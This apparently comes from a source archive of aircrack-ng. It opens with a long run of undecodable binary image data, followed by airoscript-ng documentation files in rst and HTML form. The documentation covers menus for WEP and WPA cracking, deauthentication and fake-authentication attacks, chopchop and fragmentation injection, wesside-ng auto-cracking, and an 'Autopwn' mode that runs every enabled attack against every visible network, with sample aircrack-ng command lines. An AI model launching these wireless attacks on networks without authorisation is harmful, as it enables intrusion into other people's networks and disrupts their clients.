³ÐeÃvî„h`KC‡Î›÷ÏfdVT(Z-‚45ÕÖòx7nÄÇoÚäéÙöQJ@_ß_½Lo~zôåËÏžq¹Ë—ãìlîlét/¯°0‰¤ªê?ÿ1‘Xn€ÎKÉ®®õúWMÇ‹NȽ}{ÿ‰Æ¹sUU¥¥®®Šƒ—[[{û¶¹†Ôñùàñd²——^¯ÑðùÍEBBeea¡mãfÉ$ëX,àä¤Ó)¹¹lv@@xø;••jµN§T–—¤¥…†j~݇ÎOëŽÃQ©aa»w_ºT^.ÊdR©@PVvíÚ‰‘‘t:ß~ì±XaѢ͛Êʪ«µZ…¢©)'çÖ­ÄÄéÓÝÝÑogÎÐòIè»yË%“ñù;wÚÙ¹¹Í˜ñÛoYY¥¥J%‚èõjµLÖØØ:8•ºjULLrrYYm­D"“ …<Þµkqq_mCôÿUªÆÆË—/>v,=]¡Ðh¤ÒŸ~ öòZ½:1ñÑ#±¸¾žË]¼ØßßÉ©ëqøâ‹sçJKúì³7ß4ýÔÃcÚ´;Ÿ??wîóÏ»’¯®Ä°ëÜÜÞ{ïÌ¡ðÑ£/¾èz?fÚÔÔhµƒé2o(*ÕÅ%$¤¶6/ïÔ©ŽE"9:Ž—œœŸï^PnIîV­Êʪ«KLœ4ÉÍ ºÐ ¨“ÀbI¤ –.=y=®B!´® ¦ÐeÃnÞìÑ@×{4^BlÒ¤#GŠŠŽy÷]4Ÿ¯:ô*›íéùÖ[ë×=š•UX˜bI.ÐˌӦ-Y]\|ñâ²e¯'†8\s3‚ˆDOžp¹gÎL›æïïéI&ÛÙ1óçÿðÃÝ»R)m«#úù…‡ß¸»n]h¨‹E§S© ‡³lYLLvvNÎŽí-žäë»téåËׯûíܹƒs8L&€^c[ºôÀ±¸´´½uX^oóîì5‰äîÝŸ~*)ÉÍýúë™3'Ntr"‘ˆD:ÝÙ¹õjÿµk32ž??~|ÍšÁƒÝÜi4ËËkåʘ˜gÏ23¿ÿ~Ô(Óý :]]]zzTT` ›Ûر7êtry~~FÆÖ­ÁÁîîcÇnܨV75]½Úõ¼ãpD"‹uá‹99ß $ííÇËÌ,)¹pÅj»uù².†]·hуµµ¿üèáa]M踈¯ª’ËoÜØ¶máB6ÛÒIÏŒE&3™&¤¤dg_½èêJ¥Zž;gÚ´_­­½¿'çKî_ÜÂô÷Ó… x{wœª¯/nnlÕª‡ã%ÄбCC^Þ† –D ••uóæ¥K[¶DD̘ñ÷²ZæSéõ*•DRVVX˜}äÈæÍŸn¼WÏÇýŸðp§õÅ[<žBñö6¤¡ÁVGŒ‹«­•ÉLóJ"Ñé'ªÕMM))¦©¨©‘ËgÌ`0Èä¾Ò¼;{Dôÿ¯\ õñéø?Ïœ©«S*çÏwqiý%A¡0™³g«TõõçÏ›Û@N"a±x<Žn™;×Ù™BA·47 *•­"@£yxÌ™SPððáÎx<‹Çoß~ï^^Þœ9í/Øf]¾¬‹a×ݼ)k4Ÿ|òê:i]`oïå5cÆ¥K”–êõ:D’žþûï{÷nÚôå—o¿Íá´weÝ?…ÂbMž|åJq±D’žþí·ãÇw6wd2ƒñÉ'jµHtãô‘>絟K"}ôÑwßݸW.¯©9z´ã4èï .·oGƒDrp˜<¹¡¡¼üÇM?Ý»—ljfÍb2)sçC$ÒhcÇ*•’œüÅ~~½³bY>¤ PÚ¿çoÝW£¹O+*4½ÞÜàÌ`@¦&ÓT¥¥j5‚¸¸´ý]Û››·uq7ÎÞþUO*¡ ‘»¹µzS¯×j««Ííßø¦º…Ln»Å¶qðñY° >>'ç—_ž>=~<4tð`ÛæËºv]]Ng0¸º¾ºNv=ªŽŽ^^#GΟ¿råÚµG^¼xë–TªÓÉåÑÑm¢ÇJI¹ukß>'''§wÞ¹w¯¾^"ù׿>þø7,?"G$º¹ :Pˆ}¤Ïé'Ç“HÎßÏR¼ê©øþ1¤˜0aïÞüüŽïy=:eJÇçÃáLŸ¾oŸ^¯ÑTT¼óNûY_Rت:þÿ²2µZ¯·¤#6VUÕþ—MonYÖÅÍ’kU••¹¯^77´6Zr>]¢Ý:>>!!?ýÄãݺUZzæÌ²eC‡Ú6_ÖŰ낞R˜rwŸ:õßÿÖh$’?þ0=ÖÛoÿÝÙÙyx|òIAX\]½b…¿?ƒaÉþÿRhµðÚsOõýä$*uÈô¸Z­L–™Ùñÿ÷õX,ï蘛+WTp8$R{ÝG"q8|¾DR\lüľ¹óY²äìÙ/ªªnÞ\»¶·U¬Þ6¤8t¨¦F.Ÿ9³í ŽÅÇ  ÅÌ™ FgR½ÞR°mÜŒ<)*•ÁÁÎÎmo8;Ï™£Pññ–ì¿»‡4š‡GPPQÑÓ§‡S©x<™Ã喔̛÷Æí½a]¾^W)§¦ŠD¹ñÑÙýŸ:•—W[Òö6 }ÅT¯×hx\TtûvDD{·ázrHÉ...¼x‘—ø÷—.™ìä4eJ^^YÙ¥KlvÛß÷Öåëuµµ îÝ«©éÊã™{ï½}û?¾ukåÊéÓ==ÝÜœÉd<··g0Øì3Ö­KK«¨HN^±Âòc¹»¿ÿþ÷ß××WW_¿>l•j~.ôñÌššôôÖ›ƒîëúØIØÙyx|ðÁÑ£¿ür÷.Ÿ/44 S]ÕÔ¼|YXxúôöíaaŽŽ¯~M }‰tÛ¶¾C‡*+e2ãG2ͱ·çp¾üR&ãóÿz› ãóa0üý¿úJ&‹32ÜÝÿ¾þñz¹µäUÆžR`0 ²eËÙ³%%|~CƒV«PˆDùùéé.ùø88´Ÿ ‡[¼xçΟ.(àñêê´Z¥R$Êͽ};1ñã=<^UšLæ˜1óæÅÇ'%¥§‹Å:‚¨TRiccqñÓ§½¡övæÿq8*5""&&%¥¢¢¾^.—J…B/9yÿþðpËŸ‰é¾!ÅçŸÿç?ÏŸÿøãÌ™žž¦Ÿzz~öYlliéùóm_¿´&_=Óšru 8uJ(üïmñi{°XiÕªíÛOœ(../¯­U«D£*+_¼HJŠŠòôlû&ˆ%Ç:4446¶¾>'ç§ŸÌÍ›‚¾Dzút@¼DÚS=@ÿ= 3Œ§ºê™™ajç¾}CATªçÏ! ¿Ãb „ÄD>_,^¾¼ý[9}‘ñTWD"Lue=RtÐt0˜¿&äîÉ·”aHÑ›5x°‡…B àpŠ££»{xxLLVVUUZÚ«~·Ð?X2!w_Åâp4:!÷ºu0!wWÁÂ,tÙ°ÖÓLÜh—ûüyU•F£×77«Tb±PxïÞ… û÷Ãz%` 92"âüùüüãÇ—,黹XºôĉgÏΟˆxÕ”bÀðýÐËôæÇ3wì€huðúÛ2®·exذððädsÓCçÊDW( í?…m¬¥Å`Ðjëë««_¾LMMLÜ·oüø¿e¶•¨(ïU«¨  SX, sl¢g~£ÉNNS§ÖÔhµ‚ ÍÍ--–×xª«î_ç¯{£aºg,'“]\8œáÃÃÂvíJKkjzöÌÖ/Îr¹r¹Nõ¢èßм[·þ÷¿Ba]]VÖwßiµ–)Pè„ÜÛ·÷íht¼g<žLöòÒë5>¿õ'8•¶{÷¥KååB¡L&• ee×®8I§w4yÏO’-“ñù;wÚÙ¹¹Í˜ñÛoYY¥¥J%‚èõjµLÖØˆþK 89ét En.›~çNAAe¥Z­Ó)•ååii¡¡C‡::vGü-‹ÃQ©«VÅÄ$'—•ÕÖJ$2™PÈã]»÷õ×GÞrèQTªÆÆË—/>v,=]¡Ðh¤ÒŸ~ öòZ½:1ñÑ#±¸¾žË]¼ØßßÉÉ8­›Û”)«W_½úøqqqS“L¦V«TI]]vöÍ› /ÔÔqÞ[ŸaÏ•WW¢ÑÙ–Ò•|Ùv:ylÛËõó“ðö ILliinÖj/æph4K:2cè²a7oöíh˜»JÁf{z¾õÖúõGfe&$´^2ÇÏ/<üÆØØuëBC}|X,:Je08œeËbb²³srvìxÕT–ç¨ë¥F#‘ܽûÓO%%¹¹_=sæÄ‰NN$‘H§;;/l†Ã57#ˆHôä —{æÌ´iþþžžd²ƒ1þ?ܽ+•òxÑѯ·|ýý×®ÍÈxþüøñ5kvsst¤ÑX,/¯•+cbž=ËÌüþ{ÛMÎc0ètuuééQQnncÇnܨÓÉåùù[·»»»q£ZÝÔtõê_5‡£ÑrrÅ∈>5ŠF#“  ÅÁÁÅ%88229Y$*.Þ½Û61éÙòêl4¬o)Öæ † wêçC "‘F;¶´T­F/Μ™3Çøˆ–·¯/nnškcYY7o^º´eKDÄŒBÛ_¾qqµµ2™éïa‰NŸ8Q­njJI±UŽºÞQ¢ÿsåJh¨%ÿÎá´^§]³Ã`@††×[¾gÎÔÕ)•óç·]è™Ba2gÏV©êëÏŸ·íYÐé$‹ÇÓéè–¹s)tKs³Á€>[ô*èïïæf½^*µULz²¼¬‹†u-ź|ÁôNý|H±nÝÍ›UUz½FS^>bÄßS&wvH®ZÇåöíhïl*•’œüÅæP®¨ÐhôzsÃAššl•#[ )Ƴ·Õ“/èZ¾‚eÏ—/Ÿ¯Õêõnnm—ÃÆáˆDWW½^«­®¶íY‘H!¢[Èä¶[ŒSTªŸßž='O¦¤”•ñùB¡J¥Ñètz}çn,Z^²=S^ÖEú–b]¾`Hz§~>¤°nÙkSýoHâp¦Oß·O¯×h**Þy§ý¯á²2µZ¯wumûÅÖ92ÿŸX,™lù%ϼ®NÙò=WVj4æ†nnh©ußYY²eýú¬¬ººk×6mš3ÇÛ›Ãa³íí)2™@ (”îRôLyY ëZŠuùêzK ; ÐeÃòÓíK–œ=ûâEUÕÍ›kך~zèPM\>s&“I¡twŽD"inöð ‘ZwÊvvlöâÅ]ÿâ±ü?{ÃâäI¡P© vvn{ãÃÙyÎ…B ˆï¾³²dKU•V«×{y‘Éx¼ñv''?¿ Úº–b]¾ºÞRè0¤èÄã™èL}7æöŒÃ‘Hîîii jõ¾}Æ1b0>>¡¡ÉÉ©©QQ!!¾¾ƒA"Ñé,VPÐ7ßœ>ÍçgfîÚÕñqïß—JµÚÈÈÀÀ!CH$‡£Rœ}}GŒhýÀZ||M\~åÊÚµÓ§Óé ‘Èf{{wèPzzf¦X¬×77Û*z¯kHay4† [½úÎ’’cÇV¯4ˆÅ¢Ñìí]\¼¼ÂÂ.*º};"Âüíª®× K¶üúkc£Jõã ¾ÿ¾££ƒ1jÔ”)‹ݸQP”„Þ¸ùì³7ß|Õ»ýcHa]K±._]o)tRtâ%ÒmÛúv4:Þ3ƒáïÿÕW2™Xœ‘áîÞúײeËÙ³%%|~CƒV«PˆDùùéé.ùø88t|\&s̘yóâã“’ÒÓÅbAT*©´±±¸øéÓŒ ãÿtqyçððJJø|µA4šêêâ⌌5k&OvuÍÏW*u:ã;Ü]‰ÞëRX ô¥Äˆˆ˜˜””ŠŠúz¹\* y¼ääýûÃÃÍÝ}·Uݰd‹›Û”)ëÖq¹<ž@ ÓétJå‹%'ÏšååeoÿùçÉÉEE¢ÑˆÅæZ_O¾`ÜÝѰ®¥X—¯®·ºÃRXÎxª«¿î¸ÑÌ!…YèÓ& ƒY¸p GèØ€[ãÃrŸ~ŠÁ`0è»â/BUè$˜‰èë`^ ô0¤€ ´³låF°X,¾zŸžÿ6ÇZ~Z–Ò\:N © ¤‚T RAªîHeº‡×|9Ïú:x< \˜¼U2›ÎÞÝû]úk¾‚^1>ô?=¹ÆG÷‹@ R‡ Û½;!áêÕÊJ ±Q«EµZ ¨¨xþ<1q×®üƒJÅáºç+¤7¯“ÅãI$ý¯Þö×|u?,–Hœ?ÿ»ïbcŸ>-../W*u:•ª¦¦¼¼¤äÂ…6nôô$“ñxˆ Ó¬û:|ú´çŽe‰õë= ïߎ^³ÆÏÃa±H$Ba±8œAƒæÏß¼9;;+kß¾€€ÞÞÁåÊå:]ÿ«·ý5_ÝmüøÍ›ïÞ-,LHøòË#æp¨T"‘Lf³==‡_¾|×®»wùük× V€NëCŠš­Ö`ðòjÿוêâR[›—wêTëOp8*5,l÷îK—ÊË…B™L*ÊÊ®];q"2’NÇã±XÛå˺ca±¢E›7'$”•UW76jµ ESSNέ[‰‰Ó§»»ÛÙu|Vëzä±XŽJ]µ*&&9¹¬¬¶V"‘É„BïÚµ¸¸¯¿6Í‹Ç;: :@àáñÑGQQÙÙ \.Þ¿Ÿ’íæF$âp¶ÍWgóÞù|NN:B‘›Ëf„‡ß¹SPPY©VëtJeyyAAZZhèÐ¡ŽŽ¯·¥$'WUI¥ŽŽd²é§x<™ìå¥×k4Ð7:­ )â㫪äò7¶m[¸Í¶ô²­Ÿ_xø±±ëÖ…†úø°Xt:•Ê`p8Ë–ÅÄdgçäìØ1nœ­òeݱ|}—.½|ùúõo¿;wð`‡É$(:}êÔ¥K‹KKy]1Gùû¯]›‘ñüùñãkÖ ìææèH£±X^^+WÆÄ<{–™ùý÷£FµMƒÅ¶´47#ÈÇŽóæ›ÎÎ4›íí½råŽOžÇÅMšÔ}ù²$­5ùÂáš›D$zò„Ë=sfÚ4OO2ÙÎŽÁ˜?ÿ‡îÞ•Jy¼èè×ÛR:æä4lØúõJe]ݹsÐ7:Í’Î @Xò·ëÇ²Ž½½—׌—.=xPZª×ëtIvvzúï¿ïÝ»iÓ—_¾ý6‡ÓÞ¯ù¸¸ÚZ™Ìôê‰D§Oœ¨V75¥¤Ø*†ÖëÀš¹|Æ £½ß”¶:·®8s¦®N©œ?ßÅ…J5ÞN¡0™³g«TõõçÏ›;«ï¾óò¢Ó[GÃÁaòdµº©é÷ß»/_–¤íJ¾ÂÃ9{{ãíx<…âím0 HCCïìììÜÝ33›šêëW¯=šÉ„¾Ðiýã*…1GG/¯‘#çÏ_¹ríÚ£G/^¼uK*Õéäòèè ¼½ÿ³¢B£ÑëÍ]<7¤©ÉVù²îX¥¥j5‚¸¸tt#àõÆœÏ×jõzÓ[8‘èêª×kµÕÕæÎÊÛ›Bi}= ‹Åã ®¾¾ûòeIÚ®ä‹Bi¿´zç37^^~¸vmaa}}aáÚµ~øÆÐ+¬Ôÿ†¦ÜݧNý÷¿5‰ä?Œ·—•©Õz½««õ_Ø–ç˺cUUµÿÅÖ{b^Y©Ñ˜ûêus3wW=+«m*,–@`2Ñ'-º/_–¤íJ¾z[ýo;þ–-çÏ—–þñÇñãï¾Ëf·¾Æp'«§NååÕÖ†„´½Ljlärþ™@ P 2Þžš*k4ãÆÑé$RwŸ¡uÇJM‹µÚ·ß¶·ïþ3´Î;R©NààÐúÖ ‰äà0a‚V+‘ܺe.íܹmË‹D¢ÑFÖéäòGún¾z7,–Dúæ›S§?ž7ïÏ?“’† ûðȈ'O4šÓcºEÿ˜—â½÷öí{üøÖ­•+§O÷ôtssv&“ñx<ÞÞžÁ`³gÌX·.-­¢"9yÅ ãT>>¡¡ÉÉ©©QQ!!¾¾ƒA"Ñé,VPÐ7ßœ>ÍçgfîÚe«|Yw¬¡CÃÂnÝJMŒ öövwg0Ðítº·÷¢E ßñqïß—JµÚÈÈÀÀ!CH$‡£Rœ}}GŒ°ìáÓŽ ¶zõ;%%ÇŽ­^=h‹E£ÙÛ»¸xy……>\TtûvD„ŸŸiª–––)(HKÛ³gÈôáG6ÛÛ;,lß¾œœ‚‚˜˜ º/_–”—uù²ÕUŠîk)“'oÛöàÁ… kÖŒ ½ÀÆúÇýíµjÕöí'N——×֪բѕ•/^$%ÅÆFEµ?²eËÙ³%%|~CƒV«PˆDùùéé.ùø88˜Ë…5¯2vþX ƒÃ-^¼sçÏ?ðxuuZ­R)åæÞ¾˜øñÇ4ZÇqa2ÇŒ™7/>>))=],ÖéD¥’J‹‹Ÿ>ÍȰEäq8*5""&&%¥¢¢¾^.—J…B/9yÿþðpsO C ?¿E‹vî,*$­V.ÒÓ“’vïf2 „WÝè±<_Ö–—5ùêýC ¦¹¹¥¥g^0 8ýeH Öè.èY t‚åÿjü«±»— @ßòÿçã•܆ˆ%íIEND®B`‚aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/autopwn.rst0000644000000000000000000000037411662075516023012 0ustar rootrootAutopwn -------- Autopwn function will try each available (and enabled) attack against every network available. You can specify essid filters, and change enabled attacks in advanced airoscript-ng configuration, have a look at main usage for argument. aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/index.rst.html0000644000000000000000000000120111711531302023336 0ustar rootroot Airoscript documentation

Airoscript documentation

aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/exit.rst.html0000644000000000000000000000124711711531302023212 0ustar rootroot Exit

Exit

Quitting airoscript will ask you if you want it to delete temp data and virtual interfaces.

aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/scan.rst0000644000000000000000000000022211662075516022231 0ustar rootrootScan ----- Scanning is a simple menu, just asking for encription (wich can be set up to be anything (default)) and channel (hoping by default). aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/others/0000755000000000000000000000000012660222377022061 5ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/others/external.rst0000644000000000000000000000076611662100350024431 0ustar rootrootExternal plugins ================= Here, plugins enabled in config or startup parameters will have its menus. Each plugin gets itself into menu by adding its menu entry directly to ${plugins_menu} array, this way: :: plugins_menu+=("This is the menu entry"); And then creating a function, composed by the menu name, replacing spaces by underscores. :: This_is_the_menu_entry(){ # Here do stuff } For more info on plugin creation you can have a look at the manual page. aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/others/options.rst0000644000000000000000000000041011662100350024264 0ustar rootrootAiroscript options =================== This menu provides with a set of airoscript-ng configuration options, wich can be changed after startup. - Change / reset interface - Change interface MAC - Enable monitor mode - Change dump path - Try to configure network aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/others/advanced.rst0000644000000000000000000001154711662100350024353 0ustar rootrootAdvanced tools ================ Advanced aircrack-ng tools (not frequently used), aircrack-ng tools that are available in a less-customizable manner in other menus, and diagnostics tools are presented here. Injection +++++++++ Chop chop and fragmentation attacks. Those are only usable when you already have xor files. About chopchop attack (got from aircrack-ng wiki): :: This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet. .. _ChopChop on aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=korek_chopchop About frag attack (got from aircrack-ng wiki): :: This attack, when successful, can obtain 1500 bytes of PRGA (pseudo random generation algorithm). This attack does not recover the WEP key itself, but merely obtains the PRGA. The PRGA can then be used to generate packets with packetforge-ng which are in turn used for various injection attacks. It requires at least one data packet to be received from the access point in order to initiate the attack. .. _Fragmentation attack on aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=fragmentation Autentication ++++++++++++++ This will provide Fake auth and Deauth attacks. Fake auth attack, from aircrack-ng wiki: :: The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) plus associate with the access point (AP). This is only useful when you need an associated MAC address in various aireplay-ng attacks and there is currently no associated client. It should be noted that the fake authentication attack does NOT generate any ARP packets. Fake authentication cannot be used to authenticate/associate with WPA/WPA2 Access Points. .. _Fake auth attack on aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=fake_authentication Deauth attack, from aircrack-ng wiki: :: This attack sends disassocate packets to one or more clients which are currently associated with a particular access point. Disassociating clients can be done for a number of reasons: - Recovering a hidden ESSID. This is an ESSID which is not being broadcast. Another term for this is “cloakedâ€. - Capturing WPA/WPA2 handshakes by forcing clients to reauthenticate - Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected) - Of course, this attack is totally useless if there are no associated wireless client or on fake authentications. .. _Deauth attack on aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=deauthentication Operations with ivstools ++++++++++++++++++++++++ Makes it possible to merge ivs (with ivstools) from either one airoscript session or all the previous saved ones. Decloak packages +++++++++++++++++ Launches a nice selection menu about airdecloack-ng options. .. _Airdecloack-ng on aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=airdecloak-ng :: Airdecloak-ng is a tool that removes wep cloaking from a pcap file. Some WIPS (actually one) actively “prevent†cracking a WEP key by inserting chaff (fake wep frames) in the air to fool aircrack-ng. In some rare cases, cloaking fails and the key can be recovered without removing this chaff. In the cases where the key cannot be recovered, use this tool to filter out chaff. Create virtual interface with airtun-ng ++++++++++++++++++++++++++++++++++++++++ Creates a virtual interface with the cracked wep key using airtun-ng. Diagnostics and reports ++++++++++++++++++++++++ This menu makes airgraph-ng reports. Auto crack wep with wesside-ng +++++++++++++++++++++++++++++++ Launches wesside-ng to try to auto-crack the network. :: Wesside-ng is an auto-magic tool which incorporates a number of techniques to seamlessly obtain a WEP key in minutes. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme, reinject ARP requests and finally determine the WEP key. All this is done without your intervention. .. _Wesside-ng at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=wesside-ng Easside-ng +++++++++++ An auto-magic tool which allows you to communicate via an WEP-encrypted AP without knowing the key .. _easside-ng at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=easside-ng aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/autopwn.rst.html0000644000000000000000000000147611711531302023742 0ustar rootroot Autopwn

Autopwn

Autopwn function will try each available (and enabled) attack against every network available. You can specify essid filters, and change enabled attacks in advanced airoscript-ng configuration, have a look at main usage for argument.

aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/attacks.rst.html0000644000000000000000000000103411711531302023665 0ustar rootroot
aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/Toc.rst.html0000644000000000000000000002611411711531302022766 0ustar rootroot

Crack

This section defines cracking menu.

Note: If "pipe" variable is set, it will be executed and piped into aircrack-ng (that's the way the john the ripper plugin works, actually)

Note: If writekey variable contains a set of commands to write the key to a file (wich is default on auto)

WPA Crack

It will execute attacks against a wordlist.

WEP Crack

Default

Executes aircrack-ng with the following options

"$pipe $AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap $crack_extra_opts $writekey"; $clear; break ;;

Korek

Executes aircrack-ng with the following options

AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap -K $crack_extra_opts $writekey

Interactive

Same as default, except that it allows you to enter personalized fudge_factor and enc_size.

Executes aircrack-ng with the following options:

::
AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap -K $crack_extra_opts $writekey

Others menu

This menu contains all not-frequently used (but nice) options.

Airoscript options

This menu provides with a set of airoscript-ng configuration options, wich can be changed after startup.

  • Change / reset interface
  • Change interface MAC
  • Enable monitor mode
  • Change dump path
  • Try to configure network

External plugins

Here, plugins enabled in config or startup parameters will have its menus. Each plugin gets itself into menu by adding its menu entry directly to ${plugins_menu} array, this way:

plugins_menu+=("This is the menu entry");

And then creating a function, composed by the menu name, replacing spaces by underscores.

::

This_is_the_menu_entry(){

# Here do stuff

}

For more info on plugin creation you can have a look at the manual page.

Advanced tools

Advanced aircrack-ng tools (not frequently used), aircrack-ng tools that are available in a less-customizable manner in other menus, and diagnostics tools are presented here.

Injection

Chop chop and fragmentation attacks. Those are only usable when you already have xor files.

About chopchop attack (got from aircrack-ng wiki):

This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet.

About frag attack (got from aircrack-ng wiki):

::
This attack, when successful, can obtain 1500 bytes of PRGA (pseudo random generation algorithm). This attack does not recover the WEP key itself, but merely obtains the PRGA. The PRGA can then be used to generate packets with packetforge-ng which are in turn used for various injection attacks. It requires at least one data packet to be received from the access point in order to initiate the attack.

Autentication

This will provide Fake auth and Deauth attacks.

Fake auth attack, from aircrack-ng wiki:

The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) plus associate with the access point (AP). This is only useful when you need an associated MAC address in various aireplay-ng attacks and there is currently no associated client. It should be noted that the fake authentication attack does NOT generate any ARP packets. Fake authentication cannot be used to authenticate/associate with WPA/WPA2 Access Points.

Deauth attack, from aircrack-ng wiki:

This attack sends disassocate packets to one or more clients which are currently associated with a particular access point. Disassociating clients can be done for a number of reasons:
- Recovering a hidden ESSID. This is an ESSID which is not being broadcast. Another term for this is “cloakedâ€.
- Capturing WPA/WPA2 handshakes by forcing clients to reauthenticate
- Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected)
- Of course, this attack is totally useless if there are no associated wireless client or on fake authentications.

Operations with ivstools

Makes it possible to merge ivs (with ivstools) from either one airoscript session or all the previous saved ones.

Decloak packages

Launches a nice selection menu about airdecloack-ng options.

::
Airdecloak-ng is a tool that removes wep cloaking from a pcap file. Some WIPS (actually one) actively “prevent†cracking a WEP key by inserting chaff (fake wep frames) in the air to fool aircrack-ng. In some rare cases, cloaking fails and the key can be recovered without removing this chaff. In the cases where the key cannot be recovered, use this tool to filter out chaff.

Create virtual interface with airtun-ng

Creates a virtual interface with the cracked wep key using airtun-ng.

Diagnostics and reports

This menu makes airgraph-ng reports.

Auto crack wep with wesside-ng

Launches wesside-ng to try to auto-crack the network.

Wesside-ng is an auto-magic tool which incorporates a number of techniques to seamlessly obtain a WEP key in minutes. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme, reinject ARP requests and finally determine the WEP key. All this is done without your intervention.

Easside-ng

An auto-magic tool which allows you to communicate via an WEP-encrypted AP without knowing the key .. _easside-ng at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=easside-ng

Autopwn

Autopwn function will try each available (and enabled) attack against every network available. You can specify essid filters, and change enabled attacks in advanced airoscript-ng configuration, have a look at main usage for argument.

aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/scanning.rst.html0000644000000000000000000000103411711531302024033 0ustar rootroot
aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/configuration.rst.html0000644000000000000000000000103411711531302025102 0ustar rootroot
aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/configuration.rst0000644000000000000000000000000011662075516024146 0ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/Toc.rst0000644000000000000000000000037011662075516022036 0ustar rootroot.. contents:: Table of Contents .. include:: configuration.rst .. include:: interface.rst .. include:: resolution.rst .. include:: scanning.rst .. include:: attacks.rst .. include:: crack.rst .. include:: others.rst .. include:: autopwn.rst aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/exit.rst0000644000000000000000000000015011662075456022261 0ustar rootrootExit ----- Quitting airoscript will ask you if you want it to delete temp data and virtual interfaces. aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/plugins.rst.html0000644000000000000000000000200711711531302023715 0ustar rootroot Airoscript plugin system

Airoscript plugin system

Main rules

  • Airoscript plugin system is quite easy to understand.
  • Each plugin can modify airoscript's inner behaviour or add a menu entry on plugins' section.
  • Each plugin's name corresponds only to its deps, as each plugin can only use ONE external program (but plugins can depend on each other).
aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/others.rst0000644000000000000000000000027511662100350022602 0ustar rootrootOthers menu ----------- This menu contains all not-frequently used (but nice) options. .. include:: others/options.rst .. include:: others/external.rst .. include:: others/advanced.rst aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/config.rst.html0000644000000000000000000000714411711531302023510 0ustar rootroot Airoscript-ng configuration file

Airoscript-ng configuration file

Airoscript-ng's config is divided in two files, and some (not all) oiptions are configurable by arguments. Conffiles are airoscript-ng.conf and airoscript-ng_advanced.conf.

Standard configuration file

Here, we'll find a couple of sections, defining sets of arrays or variables.

Wordlists

WORDLIST The variable WORDLIST sets the original location of the wordlist that will be used by airoscript to crack WPA or manual dictionary WEP (see crack section).

Note that this file will be copied to DUMP_DIR, so, if you want to use a custom wordlist, AFTER airoscript-ng initialization, you've got to copy it to DUMP_PATH/WORDLIST_FILE_NAME having in account that WORDLIST_FILE_NAME contains no directories, is the basename of the WORDLIST variable.

db_location This variable will be passed to aircrack as the PMK database location.

Plugins support

The variable enabled_plugins is just an array of the plugins that will be loaded by default Actually, those are john the ripper and MDK3

Wireless interfaces

You can setup here wifi and iwifi interfaces. Wifi interface is the standard wifi interface, this will allow you to setup a iwifi interface, it will also make it not ask you to select an interface each time you start airoscript-ng.

Appearance

This configuration section will allow you to make airoscript prettier for you. Variables:

  • theme : The theme file, theme files are stored in path/themes/
  • DEFAULT_MONITOR_MODE : (Bool) start or not monitor mode on selected interface by default.
  • SHOW_SMALL_MENU : (Bool) Show a small version of all the menus, with just the title, perfect for small screens.
  • show_only_wireless_extensions: (Bool) Show only interfaces with wireless extensions enabled. If your card is not detected by airoscript, you might set this to 0.
  • Show warning (Bool) (Currently no effect) Shows an usage warning at startup
  • INTERACTIVE (Bool): Asks for some more stuffs than usual
  • force_mac_address (Bool): Do not check for mac address mode.
  • MON_PREFIX : Prefix to use for airoscript-created virtual interfaces (passed to airmon_ng), this will be used, for example, for interface cleanup.
  • ADDOPTIONS : HARDCORE: THIS WILL ASK YOU FOR EXTRA OPTIONS FOREACH COMMAND IT EXECUTES.

Advanced configuration file

